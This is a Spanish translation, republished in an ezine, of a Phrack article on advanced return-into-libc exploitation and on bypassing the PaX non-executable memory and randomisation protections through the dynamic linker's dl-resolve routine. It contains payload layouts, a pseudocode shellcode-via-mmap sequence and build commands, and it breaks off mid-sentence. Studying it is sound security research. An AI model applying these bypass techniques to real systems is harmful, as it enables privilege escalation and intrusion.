RareGaZz19:(phrack58-0x04.txt):27/03/2002 << Back To RareGaZz19


==Phrack Inc.== Volumen 0x0b, Numero 0x3a, Archivo #0x04 de 0x0e |=------------=[ Los avanzados exploits return-into-lib(c): ]=-----------=| |=-----------------------=[ estudio del caso PaX ]=----------------------=| |=-----------------------------------------------------------------------=| |=---------------=[ por Nergal <nergal@owl.openwall.com> ]=--------------=| May this night carry my will And may these old mountains forever remember this night May the forest whisper my name And may the storm bring these words to the end of all worlds Ihsahn, "Alsvartr" --[ 1 - Intro 1 - Intro 2 - Clasico return-into-libc 3 - Encadenando llamadas return-into-libc 3.1 - Problemas con el acceso clasico 3.2 - metodo "esp lifting" 3.3 - falseando frames 3.4 - Insertando bytes nulos 3.5 - Sumario 3.6 - El codigo de ejemplo 4 - Caracteristicas PaX 4.1 - Basicas del PaX 4.2 - PaX y exploits return-into-lib 4.3 - PaX y mmap base randomization 5 - Las funciones dinamicas dl-resolve() del linker 5.1 - Algunos tipos de data ELF 5.2 - Algunas estructuras de data ELF 5.3 - Como dl-resolve() es llamada desde PLT 5.4 - La conclusion 6 - Derrotando a PaX 6.1 - Requerimientos 6.2 - Construyendo el exploit 7 - Misc 7.1 - Portabilidad 7.2 - Otro tipo de vulnerabilidades 7.3 - Otras soluciones non-exec 7.4 - Mejorando planos non-exec existentes 7.5 - Las versiones usadas 8 - Publicaciones y proyectos referenciados Este articulo puede ser bruscamente dividido en dos partes. Primero, son descriptas las tecnicas avanzadas return-into-lic(c). Algunas de las ideas presentadas, o algo parecidas, ya han sido publicadas por otros. No obstante, las piezas de informacion disponibles estan dispersas, generalmente especificas en plataformas, algo limitadas, y el codigo fuente acompa~ante no es lo suficientemente instructivo (o del todo). Por lo tanto decidi ensamblar los bits disponibles y algunos de mis pensamientos en un solo documento, que deberia ser util como una referencia conveniente. Juzgando por los contenidos de muchas publicaciones en listas de seguridad, la presente informacion no significa conocimiento general. La segunda parte esta dedicada a metodos para evitar PaX en caso de stack buffer overflow (otros tipos de vulnerabilidades son discutidos al final). Las recientes mejoras de PaX, referidas a la randomizacion de las direcciones en la que la pila y las librerias son mapeadas, presentan un desafio no trivial para un exploit coder. Una tecnica original de llamar directamente a los procedimientos dinamicos de resolucion de simbolos del linker es presentada. Este metodo es muy generico y las condiciones requeridas para una exploitacion exitosa son generalmente conseguidas. Porque PaX es una plataforma especifica Intel, el codigo fuente de ejemplo ha sido preparado para sistemas Linux i386 glibc. PaX es considerado no suficientemente estable por mucha gente; no obstante las tecnicas presentadas (descriptas para Linux en el caso i386) deberian ser portables a otros sistemas operativos/arquitecturas y poder ser posible de usarlas para eludir otros planos de no-ejecutabilidad, incluyendo los implementados por hardware. Se supone que el lector debe poseer el conocimiento en tecnicas estandar de exploiteo. Los Articulos [1] y [2] deban probablemente ser asimilados antes de la siguiente lectura. [12] contiene una descripcion practica de las internas de ELF. --[ 2 - Clasico return-into-libc La tecnica clasica return-into-libc esta bien descripta en [2], por lo tanto un breve sumario aqui. Este metodo es mas comunmente usado para eludir la proteccion ofrecida por la pila no-ejecutable. En vez de volver al codigo en la pila, la funcion vulnerable deberia volver en un area de memoria ocupada por una libreria dinamica. Esto puede ser alcanzado sobrecargando un stack buffer con el siguiente payload: <- la pila crece en este sentido las direcciones crecen en este sentido --> ------------------------------------------------------------------ | buffer fill-up(*)| function_in_lib | dummy_int32 | arg_1 | arg_2 | ... ------------------------------------------------------------------ ^ | - este int32 debe sobreescribir la direccion de retorno guardada de una funcion vulnerable. (*) el buffer lleno debe sobreescribir el %ebp contenedor guardado tambien, si el siguiente es usado. Cuando la funcion conteniendo el buffer overfloweado vuelve, la ejecucion se reanudara en function_in_lib, que deberia ser la direccion de una funcion de libreria. Desde el punto de vista de esta funcion, dummy_int32 debera ser la direccion de retorno, y arg_1, arg_2 y las siguientes palabras - los argumentos. Tipicamente, function_in_lib sera la direccion de funcion de libc system(), y arg_1 debera apuntar a "/bin/sh". --[ 3 - Encadenando llamadas return-into-libc ----[ 3.1 - Problemas con el acceso clasico La tecnica previa tiene dos limitaciones escenciales. La primera, es que es imposible llamar a otra funcion, la cual requiere argumentos, despues function_in_lib. Por que? Cuando function_in_lib vuelve, la ejecucion se reanudara en address_dummy_int32. Bueno, puede haber otra libreria de funcion, incluso sus argumentos pueden tener que ocupar el mismo lugar que el argumento que function_in_lib ocupa. A veces esto no es un problema (lee [3] para un ejemplo generico). Observa que la necesidad para mas de una funcion de llamada es frecuente. Si una aplicacion vulnerable vuelca temporalmente privilegios (por ejemplo, una aplicacion setuid puede hacer seteuid(getuid())), un exploit debe recuperar privilegios (con una llamada a setuid(algo) generalmente) antes de llamar a system(). La segunda limitacion es que los argumentos a function_in_lib no pueden contener bytes nulos (en el caso de un tipico overflow causado por manipulacion de rutinas string). Hay dos metodos para encadenar llamadas multiples de librerias. ----[ 3.2 - metodo "esp lifting" Este metodo esta dise~ado para atacar binarios compilados con -fomit-frame-pointer flag. En ese caso, la tipica funcion epilogo se ve asi: eplg: addl $LOCAL_VARS_SIZE,%esp ret Supon que f1 y f2 son direcciones de funciones localizadas en una libreria. Nosotros construimos el siguiente overflow string (Saltee el llenado del buffer para ahorrar espacio): <-- la pila crece en este sentido las direcciones crecen en este sentido --> --------------------------------------------------------------------------- | f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args... --------------------------------------------------------------------------- ^ ^ ^ | | | | | <---------LOCAL_VARS_SIZE------------->| | |-- este int32 deberia sobreescribir la direccion de retorno de una funcion vulnerable PAD es un relleno (consistente en irrelevantes bytes no-cero), cuya longitud, sumada a la cantidad de espacio ocupado por los argumentos de f1, deberian igualar a LOCAL_VARS_SIZE. Como funciona ? La funcion vulnerable volvera en f1, el cual vera los argumentos f1_arg, f1_arg2 etc - OK. f1 volvera en eplg. la instruccion "addl $LOCAL_VARS_SIZE,%esp" movera el stack pointer por LOCAL_VARS_SIZE, entonces eso apuntara al lugar donde la direccion f2 esta almacenada. La instruccion "ret" volvera en f2, la cual vera los argumentos f2_args. Voila. Llamamos dos funciones en una fila. La tecnica similar fue mostrada en [5]. En lugar de volver en una funcion epilogo estandar, uno tiene que encontrar la siguiente secuencia de instrucciones en una imagen de programa (o libreria): pop-ret: popl any_register ret Como una secuencia puede ser creada como resultado de una optimizacion de un compilador de un epilogo estandar. Es muy comun. Ahora, podemos contruir el siguiente payload: <- la pila crece en esta forma las direcciones crecen en esta forma -> ------------------------------------------------------------------------------ | buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ... ------------------------------------------------------------------------------ ^ | - este int32 deberia sobreescribir la direccion de retorno de una funcion vulnerable Funciona muy similarmente al ejemplo previo. En lugar de mover el stack pointer por LOCAL_VARS_SIZE, lo movemos por 4 bytes con la instruccion "popl any_register". Por lo tanto, todos los argumentos pasados a f1 pueden ocupar a lo sumo 4 bytes. Si encontramos una secuencia pop-ret2: popl any_register_1 popl any_register_2 ret entonces podemos pasar a f1 dos argumentos de 4 bytes de tama~o cada uno. El problema con la ultima tecnica es que generalmente es imposible encontrar una secuencia "pop-ret" con mas de tres pops. Por lo tanto, desde ahora nosotros usaremos solo la variacion previa. En [6] uno puede encontrar ideas similares, desafortunadamente con algunos errores caoticos explicados. Nota que podemos encadenar un numero arbitrario de funcion de este modo. Otra nota: observa que no necesitamos saber el lugar exacto de nuestro payload (eso es, no necesitamos saber el valor exacto del stack_pointer). Por supuesto, si alguna de las funciones llamadas requiere un puntero como argumento, y si este puntero deberia apuntar dentro de nuestro payload, necesitaremos conocer donde se encuentra. ----[ 3.3 - falseando frames (lee [4]) Esta segunda tecnica esta dise~ada para atacar a programas compilados _sin_ opcion -fomit-frame-pointer. Un epilogo de una funcion como un binario se ve asi: leaveret: leave ret Sin tener en cuenta el nivel de optimizacion usado, gcc siempre antepondra "ret" con "leave". Por lo tanto, no econtraremos una secuencia "esp lifting" util en ese binario (pero lee despues el final de 3.5). En realidad, a veces el archivo libgcc.a contiene objetos compilados con opcion -fomit-frame-pointer. Durante la compilacion, libgcc.a es linkeado dentro de un ejecutable por defecto. Por lo tanto es posible que un par de secuencias "add $imm,%esp, ret" puedan ser encontradas en un ejecutable. Sin embargo, nosotros no responderemos con %reply en esta caracteristica de gcc, ya que depende de demasiados factores (version de gcc, opciones del compilador usadas y otros). En vez de volver en la secuencia "esp lifting", volveremos en "leaveret". El payload del overflow consistira en partes logicamente separadas: generalmente, el codigo del exploit los ubicara adyacentemente. <- la pila crece de esta forma las direcciones crecen de esta forma -> FP guardado funcion de dir. de ret. de vuln. guardada -------------------------------------------- | buffer fill-up(*) | fake_ebp0 | leaveret | -------------------------|------------------ | +---------------------+ (*) esta vez, el buffer llenado no debe | sobreescribir el frame pointer guardado! v ----------------------------------------------- | fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ... -----|----------------------------------------- | el primer frame +-+ | v ------------------------------------------------ | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ... -----|------------------------------------------ | el segundo frame +-- ... fake_ebp0 deberia ser la direccion del "primer frame", fake_ebp1 - la direccion del segundo frame, etc. Ahora, se necesita un poco de imaginacion para visualizar el flujo de ejecucion. 1) El epilogo de la funcion vulnerable (eso es, leave;ret) pone fake_ebp0 en %ebp y vuelve a leaveret. 2) Las siguientes 2 instrucciones (leave;ret) ponen fake_ebp1 en %ebp y vuelven a f1. f1 ve los argumentos apropiados. 3) se ejecuta f1, luego vuelve. Pasos 2) y 3) repiten, sustituyen f1 por f2,f3,...,fn. En [4] volver al epilogo de una funcion no es usado. En su lugar, el autor propuso lo siguiente. La pila debe estar preparada de forma que el codigo pueda volver al lugar solo despues del prologo de F, no a la funcion F en si misma. Esto funciona muy similarmente a la solucion presentada. Sin embargo, veremos pronto de cara la situacion cuando F es alcanzado solo via PLT. En ese caso, es imposible volver a la direccion F+algo; solo la tecnica presentada aqui funcionara. (BTW, el acronimo de PLT significa "procedure linkage table". Este termino sera referenciado un par de veces mas; si no te suena familiar, mira al principio de [3] para una rapida introduccion o en [12] para una descripcion mas sistematica). Nota que para poder usar esta tecnica, uno debe saber el lugar preciso de los frames falsos, porque los campos fake_ebp deben estar setteados apropiadamente. Si todos los frames estan despues del buffer llenado, entonces uno debe saber el valor de %esp despues del overflow. No obstante, si por alguna razon queremos poner frames falsos en un lugar conocido en memoria (en una variable estatica preferentemente), no hay necesidad de preguntarse el valor del stack pointer. Hay una posibilidad de usar esta tecnica contra los programas compilados con -fomit-frame-pointer. En ese caso, no encontraremos la secuencia de codigo leave&ret en el codigo del programa, pero generalmente puede ser encontrada en las rutinas de arranque (desde crtbegin.o) linkeado con el programa. Tambien, debemos cambiar el trozo "zeroth" a ------------------------------------------------------- | buffer fill-up(*) | leaveret | fake_ebp0 | leaveret | ------------------------------------------------------- ^ | |-- este int32 deberia sobreescribir la direccion de retorno de una funcion vulnerable Dos leaverets son requeridos, porque la funcion vulnerable no setteara %ebp para nosotros a la vuelta. Como el metodo "fake frames" tiene algunas ventajas sobre "esp lifting", a veces es necesario usar este truco incluso cuando se esta atacando un binario compilado con -fomit-frame-pointer. ----[ 3.4 - Insertando bytes nulos Vuelve un problema: pasar un argumento a una funcion que contiene 0. Pero cuando multiples llamadas a una funcion estan disponibles, hay una simple solucion. Las primeras pocas funciones llamadas deberian insertar 0s en un lugar ocupado por los parametros para las proximas funciones. Strcpy es la funcion mas general que puede ser usada. Su segundo argumento deberia apuntar al byte nulo (ubicado en un lugar fijo, probablemente en la imagen del programa), y el primer argumento deberia apuntar al byte que esta siendo nullificado. Entonces, por consiguiente podemos nullificar un byte por una llamada a funcion. Si hay necesidad de poner a cero un lugar en int32, quizas otras soluciones serian mas efectivas en cuanto a espacio. Por ejemplo, sprintf(some_writable_addr,"%n%n%n%n",ptr1, ptr2, ptr3, ptr4); nullificara un byte en some_writable_addr y nullificara los lugares de ptr1, ptr2, ptr3 y ptr4 en int32. Algunas otras funciones pueden ser usadas para este proposito, scanf puede ser una de ellas (lee [5]). Nota que este truco resuelve un potencial problema. Si todas las librerias son mapeadas en direcciones que contienen 0 (como el caso del non-exec stack patch de Solar Designer), no podemos volver adentro de una libreria directamente, porque no podemos pasar bytes nulos en el payload del overflow. Pero si strcpy (o sprintf, lee [3]) es usado por el programa atacado, habra una entrada PLT apropiada, que podemos usar. Las primeras pocas llamadas deberian ser las llamadas a strcpy (precisamente, a su entrada PLT), que no nullificara los bytes en los parametros de la funcion, pero si los bytes en la direccion de la funcion misma. Despues de esta preparacion, podemos llamar funciones de librerias arbitrariamente de nuevo. ----[ 3.5 - Sumario Los dos metodos presentados son similares. La idea es volver de una funcion llamada no directamente en la siguiente, pero si a algun epilogo de funcion, que ajustara el stack pointer como corresponde (posiblemente con la ayuda del frame pointer), y le transferira el control a la siguiente funcion en la cadena. En ambos casos buscaremos por un epilogo apropiado en el cuerpo ejecutable. Generalmente, podemos tambien usar epilogos de funciones de libreria. Sin embargo, a veces la imagen de la libreria no es alcanzable directamente. Un caso asi ya ha sido mencionado (las librerias pueden ser mapeadas en direcciones que contienen un byte nulo), enfrentaremos otro caso pronto. La imagen del ejecutable no es independiente de posicion, debe ser mapeada en un lugar fijo (en el caso de Linux, en 0x08048000), entonces podemos volver a el tranquilamente. ----[ 3.6 - El codigo de ejemplo Los archivos adjuntos, ex-move.c y ex-frames.c, son los exploits para el programa vuln.c. Los exploits encadenan algunas llamadas a strcpy y una llamada a mmap. Las explicaciones adicionales son dadas en el siguiente capitulo (lee 4.2): de todas modos, uno puede usar estos archivos como plantillas para crear exploits return-into-lib. --[ 4 - Caracteristicas de PaX ----[ 4.1 - Basicas de PaX Si nunca has escuchado sobre el patch del kernel PaX de Linux, estas avisado de visitar el sitio del proyecto [7]. Aqui, hay algunas citas de la documentacion de PaX. "este documento discute la posibilidad de implementar paginas no-ejecutables para procesadores IA-32 (ej. paginas en las cuales el codigo del modo de usuario puede leer o escribir, pero en las que no puede ejecutar codigo), ya que el formato de la entrada en la tabla/directorio de la pagina nativa del procesador no tiene provision para esa caracteristica, es una tarea no-trivial." "[...] hay un deseo de proveer alguna clase de modo programatico para protegerse contra los ataques basados en buffer overflow, una idea es la implementacion de paginas no-ejecutables que eliminan la posibilidad de ejecutar codigo en paginas que estan para mantener datos solamente[..]" "[...] posibilidad de escribir [kernel mode] codigo que causara un estado inconsistente en las entradas DTLB e ITLB.[...] este mismo mecanismo podra permitir crear otro tipo de estado inconsistente donde solo los accesos lectura/escritura de datos pueden ser permitidos y la ejecucion de codigo prohibida, y esto es lo que se necesita para protegerse contra (muchos) ataques basados en buffer overflows." Para resumir, un exploit buffer overflow generalmente trata de ejecutar codigo contrabandeado dentro de algunos datos pasados al proceso atacado. La principal funcionalidad de PaX es deshabilitar la ejecucion de todas las areas de datos - por consiguiente PaX vuelve inutiles las tipicas tecnicas de exploit. --[ 4.2 - PaX y los exploits return-into-lib Inicialmente, las areas no-ejecutables de datos eran la unica caracteristica de PaX. Como ya te habras figurado, no es suficiente parar los exploits return-into-lib. Esos exploits ejecutan codigo ubicado dentro de librerias o el mismo binario - el codigo perfectamente "legitimo". Usando las tecnicas descriptas en el capitulo 3, uno puede ejecutar multiples funciones de librerias, que son generalmente mas de lo suficiente para tomar ventaja de los privilegios explotados del programa. Aun peor, el siguiente codigo se ejecutara exitosamente en un sistema protegido con PaX: char shellcode[] = "codigo arbitrario aqui"; mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, some_offset); strcpy(0xaa011000+1, shellcode); return into 0xaa011000+1; Una rapida explicacion: mmap asignara una region de memoria en 0xaa011000. No esta relacionado con ningun objeto de archivo, gracias a la flag de MAP_ANON, combinada con el descriptor de archivo igual a -1. El codigo ubicado en 0xaa011000 puede ser ejecutado incluso en PaX (porque PROT_EXEC fue setteado en los argumentos de mmap). Como vemos, el codigo arbitrario ubicado en "shellcode" sera ejecutado. Tiempo de ejemplos de codigo. El archivo adjunto vuln.c es un simple programa con un obvio stack overflow. Compilalo con: $ gcc -o vuln-omit -fomit-frame-pointer vuln.c $ gcc -o vuln vuln.c Los archivos adjuntos, ex-move.c y ex-frames.c son los exploits para vuln-omit y binarios vulnerables, respectivamente. Los exploits intentan ejecutar una secuencia de llamadas strcpy() y mmap(). Consulta los comentarios en el README.code para demas instrucciones. Si planeas testear estos exploits protegidos en un sistema con una version reciente de PaX, tienes que desactivar la randomizacion de mmap base con $ chpax -r vuln; chpax -r vuln-omit ----[ 4.3 - PaX y randomizacion de mmap base Para combatir exploits return-into-lib(c), una linda caracteristica fue agregada a PaX. Si la opcion apropiada (CONFIG_PAX_RANDMAP) es setteada durante la configuracion del kernel, la primer libreria cargada sera mapeada en una ubicacion (random) al azar (las siguientes librerias seran mapeadas luego de la primera). Lo mismo se aplica a la pila. La primer libreria sera mapeada en 0x40000000+random*4k, el tope de la pila sera igual a 0xc0000000-random*16; en ambos casos, "random" es un pseudo random entero de 16 bits sin signo, obtenido con una llamada para obtener random bytes, (get_random_bytes()), lo que hace datos criptograficamente fuertes. Uno puede testear este comportamiento ejecutando dos veces el comando "ldd algun_binario" o "cat /proc/$$/maps" desde dentro de dos invocaciones de una shell. Bajo PaX, las dos llamadas producen diferentes resultados: nergal@behemoth 8 > ash $ cat /proc/$$/maps 08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash 08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash 08059000-0805c000 rw-p 00000000 00:00 0 4b150000-4b166000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 4b166000-4b167000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 4b167000-4b168000 rw-p 00000000 00:00 0 4b16e000-4b289000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 4b289000-4b28f000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 4b28f000-4b293000 rw-p 00000000 00:00 0 bff78000-bff7b000 rw-p ffffe000 00:00 0 $ exit nergal@behemoth 9 > ash $ cat /proc/$$/maps 08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash 08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash 08059000-0805c000 rw-p 00000000 00:00 0 48b07000-48b1d000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 48b1d000-48b1e000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 48b1e000-48b1f000 rw-p 00000000 00:00 0 48b25000-48c40000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 48c40000-48c46000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 48c46000-48c4a000 rw-p 00000000 00:00 0 bff76000-bff79000 rw-p ffffe000 00:00 0 La caracteristica CONFIG_PAX_RANDMMAP hace imposible simplemente volver a una libreria. La direccion de una funcion particular sera diferente cada vez que el binario sea ejecutado. Esta caracteristica tiene algunas debilidades: algunas de ellas pueden (y deben ser) solucionadas: 1) En caso de un exploit local las direcciones y las librerias y la pila son mapeadas en donde pueden ser obtenidas de los leibles por todo el mundo, pseudoarchivos en /proc/pid_of_attacked_process/maps. Si la data overfloweando el buffer puede ser preparada y pasada a la victima despues de que el proceso victima ha empezado, un atacante tiene toda la informacion requerida para construir la data de overflow. Por ejemplo, si la data overfloweante viene de los argumentos o ambiente del programa, un atacante local pierde; si la data viene de alguna operacion I/O (socket, generalmente lectura de archivo), el atacante local gana. Solucion: restringir el acceso a los archivos de /proc, tal como es hecho en muchos otros patches de seguridad. 2) Uno puede atacar por fuerza bruta la base mmap. Generalmente (lee el final de 6.1) es suficiente para averiguar la base libc. Despues de un par de miles de intentos, un atacante tiene una chance limpia de averiguar correctamente. Seguro, cada intento fallido es logueado, pero aun el gran cumulo de logs a las 2 am no previene nada :) Solucion: desplegar segvguard [8]. Es un demonio que es notificado por el kernel cada vez que un proceso choca con SIGSEV o similar. Segvguard puede deshabilitar temporalmente la ejecucion de programas (que previene fuerza bruta), y tiene algunas caracteristicas interesantes mas. Es despreciable usarlo aun sin PaX. 3) La informacion en la libreria y las direcciones en la pila pueden fugarse debido a bugs de formato. Por ejemplo, en el caso de la vulnerabilidad del wuftpd, uno puede explorar la pila con el comando site exec [eat stack]%x.%x.%x... Los punteros de las variables automaticas ocultos en la pila revelaran la stack base. El linker dinamico y las rutinas de inicio de libc dejan en la pila algunos pointers (y direcciones de retorno) a la libreria de objetos, entonces es posible deducir las libraries base tambien. 4) A veces, uno puede encontrar una funcion comoda en un binario atacado (que no sean independiente de posicion y no pueda ser mapeado al azar). Por ejemplo, "su" tiene una funcion (llamada despues de una autentificacion exitosa) que obtiene privilegios de root y ejecuta una shell - no se necesita nada mas. 5) Todas las funciones de libreria usadas por un programa vulnerable pueden ser llamadas via su entrada PLT. Tal como el binario. PLT debe estar presente en una direccion fija. Los programas vulnerables son generalmente largos y llaman a varias funciones, entonces hay cierta posibilidad de encontrar cosas interesantes en PLT. En realidad solo los ultimos tres problemas no pueden ser solucionados, y ninguno de ellos esta garantizado para manifestar en una manera permitiendo exploitacion exitosa (el cuarto es muy raro). Ciertamente necesitamos metodos mas genericos. En el siguiente capitulo describire la interface a la funcion dl-resolve() del linker. Si son pasados los argumentos apropiados, uno de ellos se covierte en un string asciiz conteniendo el nombre de una funcion, que determinara la direccion actual de la funcion. Es funcionalmente similar a la funcion dlsym(). Usando la funcion dl-resolve(), podemos construir un eploit return-into-lib, que volvera a una funcion, cuya direccion no es conocida al momento de construir el exploit. [12] tambien describe un metodo de obtener una direccion de funcion por su nombre, pero la tecnica presentada es util para nuestros propositos. --[ 5 - La funcion dinamica dl-resolve() del linker Este capitulo es simplificado lo mas posible. Para una descripcion detallada, lee [9] y los fuentes de glibc, especialmente el archivo dl-runtime.c. Lee tambien [12]. ----[ 5.1 - Algunos tipos de data ELF Las siguientes definiciones son tomadas del archivo include elf.h: typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; typedef struct { Elf32_Addr r_offset; /* Direccion */ Elf32_Word r_info; /* Tipo de reubicacion e index de } Elf32_Rel; simbolo */ /* Como extraer e insertar information contenida en el campo r_info. */ #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) typedef struct { Elf32_Word st_name; /* Nombre de simbolo (string tbl index) */ Elf32_Addr st_value; /* Valor de simbolo */ Elf32_Word st_size; /* Tamao de simbolo */ unsigned char st_info; /* Tipo de simbolo y binding */ unsigned char st_other; /* Visibilidad de simbolo bajo glibc>=2.2 */ Elf32_Section st_shndx; /* Index de Seccion */ } Elf32_Sym; Los campos st_size, st_info y st_shndx no son usados durante la resolucion de simbolos. ----[ 5.2 - Algunas estructuras de data ELF El archivo ejecutable ELF contiene algunas estructuras de datos (arrays principalmente) que son las mas interesantes para nosotros. La ubicacion de estas estructuras puede ser recuperada desde la seccion dinamica del ejecutable. "objdump -x file" mostrara los contenidos de la seccion dinamica: $ objdump -x some_executable ... some other interesting stuff... Dynamic Section: ... STRTAB 0x80484f8 the location of string table (type char *) SYMTAB 0x8048268 the location of symbol table (type Elf32_Sym*) .... JMPREL 0x8048750 the location of table of relocation entries related to PLT (type Elf32_Rel*) ... VERSYM 0x80486a4 the location of array of version table indices (type uint16_t*) "objdump -x" tambien revelera la ubicacion de la seccion .plt, 0x08048894 en el siguiente ejemplo: 11 .plt 00000230 08048894 08048894 00000894 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE ----[ 5.3 - Como dl-resolve() es llamada desde PLT Una tipica entrada PLT (cuando el formato elf es elf32-i386) se ve asi: (gdb) disas some_func Dump of assembler code for function some_func: 0x804xxx4 <some_func>: jmp *some_func_dyn_reloc_entry 0x804xxxa <some_func+6>: push $reloc_offset 0x804xxxf <some_func+11>: jmp beginning_of_.plt_section Las entradas PLT difieren solamente por el valor de $reloc_offset (y el valor de some_func_dyn_reloc_entry, pero la ultima no es usada por el simbolo de resolucion de algoritmo). Como vemos, esta pieza de codigo pushea $reloc_offset a la pila y salta al principio de la seccion .plt. Despues de un par de instrucciones, el control es pasado a la funcion dl-resolve(), reloc_offset se convierte en uno de sus argumentos (el segundo, de tipo de estructura link_map *, es irrelevante para nosotros). El siguiente es el algoritmo simplificado de dl-resolve(): 1) calcular la entrada de reubicacion de some_func Elf32_Rel * reloc = JMPREL + reloc_offset; 2) calcular la entrada symtab de some_func Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ]; 3) chequeo de sanidad assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT); 4) el viejo glibc 2.1.x (2.1.92 mas precisamente) o el nuevo, incluyendo 2.2.x, ejecuta otro chequeo, si sym->st_other & 3 != 0, el simbolo se presume que tiene que ser resuelto antes, y el algoritmo va en otra forma (y probablemente termina con SIGSEV en nuestro caso). Debemos asegurarnos que sym->st_other & 3 == 0. 5) si la version del simbolo esta activada (generalmente esta), determina el index de la tabla de version uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ]; y buscar informacion de la version const struct r_found_version *version =&l->l_versions[ndx]; donde l es el parametro link_map. La parte importante aqui es que ndx debe ser un valor legal, preferentemente 0, que significa "simbolo local". 6) el nombre de la funcion (una cadena asciiz) es determinada: name = STRTAB + sym->st_name; 7) La informacion recolectada es suficiente para determinar la direccion de some_func. Los resultados son cacheados en dos variables de tipo Elf32_Addr, ubicadas en reloc->r_offset y sym->st_value. 8) El stack pointer es ajustado, some_func es llamada. Nota: en el caso de glibc, este algoritmo es llevado a cabo por la funcion fixup(), llamada por dl-runtime-resolve(). ----[ 5.4 - La conclusion Supongamos que overfloweamos un stack buffer con el siguiente payload -------------------------------------------------------------------------- | buffer fill-up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ... -------------------------------------------------------------------------- ^ | - este int32 deberia sobreescribir la direccion de retorno guardada de la funcion vulnerable Si preparamos apropiadamente las variables sym y reloc (de tipo Elf32_Sym y Elf32_Rel, respectivamente), y calculamos apropiadamente reloc_offset, el control sera pasado a la funcion, cuyo nombre se encuentra en SRTAB + sym>st_name (la controlamos por supuesto). Argumentos arg1, arg2 seran ubicados apropiadamente, y seguiremos teniendo oportunidad de volver dentro de otra funcion (red_addr). El dl-resolve.c adjunto es un codigo de ejemplo que implementa la tecnica descripta. Cuidado, tienes que compilarlo dos veces (lee los comentarios en el README.code). --[ 6 - Derrotando a PaX ----[ 6.1 - Requerimientos Para usar la tecnica "ret-into-dl" descripta en el capitulo 5, necesitamos posicionar algunas estructuras en ubicaciones apropiadas. Necesitaremos una funcion, que sea capaz de mover bytes a un lugar seleccionado. La eleccion obvia es strcpy; strncpy, sprintf o similares lo haran tambien. Entonces, tal como en [3], necesitaremos que haya una entrada PLT para strcpy en la imagen del programa atacado. "Ret-into-dl" resuelve un problema con las librerias mapeadas al azar; no obstante el problema de la pila continua. Si el payload del overflow reside en la pila, su direccion sera desconocida, y no podremos insertar 0s dentro con strcpy (lee 3.3). Desafortunadamente, no vine con una solucion generica (alguno?). Dos metodos son posibles: 1) si la funcion scanf() esta disponible en PLT, podemos tratar de ejecutar algo como scanf("%s\n",fixed_location) lo que copiara desde el payload apropiado de stdin en fixed_location. Cuando usamos la tecnica de "fake frames", los stack frames pueden ser deslabazados, entonces podremos usar fixed_location como frames. 2) si el binario atacado es compilado con -fomit-frame-pointer, podemos encadenar multiples llamadas strcpy con el metodo "esp lifting" aun si %esp es desconocido (lee la nota al final de 3.2). La n strcpy puede tener los siguientes argumentos: strcpy(fixed_location+n, a_pointer_within_program_image) De este modo podemos construir, byte por byte, frames apropiados en fixed_location. Cuando terminamos, cambiamos de "esp lifting" a "fake frames" con el truco descripto al final de 3.3. Mas formas de funcionamiento similares pueden ser divisadas, pero en realidad generalmente no seran necesitadas. Es muy probable que incluso un programa peque~o copiara algunos datos controlados por el usuario en una variable estatica o malloc, con el consiguiente ahorro de trabajo descripto arriba. Para resumir, requeriremos dos (bastante probablemente) codiciones para ser encontradas: 6.1.1) strcpy (o strncpy, sprintf o similar) esta disponible via PLT. 6.1.2) durante el curso normal de ejecucion, el binario atacado copia la data provista por el usuario en una variable estatica (preferentemente) o una malloc. ----[ 6.2 - Construyendo el exploit Trataremos de emular el codigo en el mismo exploit dl-resolve.c. Cuando una area de memoria rwx es preparada con mmap (podremos llamar a mmap con la ayuda de ret-into-dl), strcpyaremos el shellcode alli y volveremos a la shellcode copiada. Discutimos este caso del binario atacado habiendo compilado sin -fomit-frame-pointer y el metodo "frame faking". Necesitamos asegurarnos de que tres estructuras relacionadas son ubicadas correctamente: 1) Elf32_Rel reloc 2) Elf32_Sym sym 3) unsigned short verind (que deberia ser 0) Como son relacionadas las direcciones de verind y sym ? Asignemosle a "real_index" el valor de ELF32_R_SYM (reloc->r_info); entonces sym esta en SYMTAB+real_index*sizeof(Elf32_Sym) verind esta en VERSYM+real_index*sizeof(short) Parece natural ubicar verind en algun lugar en los datos o la seccion .bss y nullificarlo con dos llamadas strcpy. Desafortunadamente, en ese caso real_index tiende a ser mas largo. Como sizeof(Elf32_Sym)=16, que es mayor que sizeof(short), sym puede probablemente ser asignado a la direccion mas alla de la data space de un proceso. Esto es el por que en el programa de ejemplo dl-resolve.c (aunque es muy peque~o) tenemos que asignar unos dieces de miles (RQSIZE) de bytes. Bueno, podemos ampliar arbitrariamente un espacio de datos de un proceso setteando la variable de entorno MALLOC_TOP_RAD_ (recuerdas el exploit traceroute ?), pero este puede funcionar solo en caso de un exploit local. En su lugar, elegiremos un metodo mas generico (y barato). Ubicaremos verind lower, generalmente dentro de la region lectura/escritura mmapeada, entonces necesitaremos encontrar un null short ahi. El exploit reubicara la estructura "sym" en una direccion determinada por la ubicacion verind. Donde buscar por este null short? Primero, deberiamos determinar 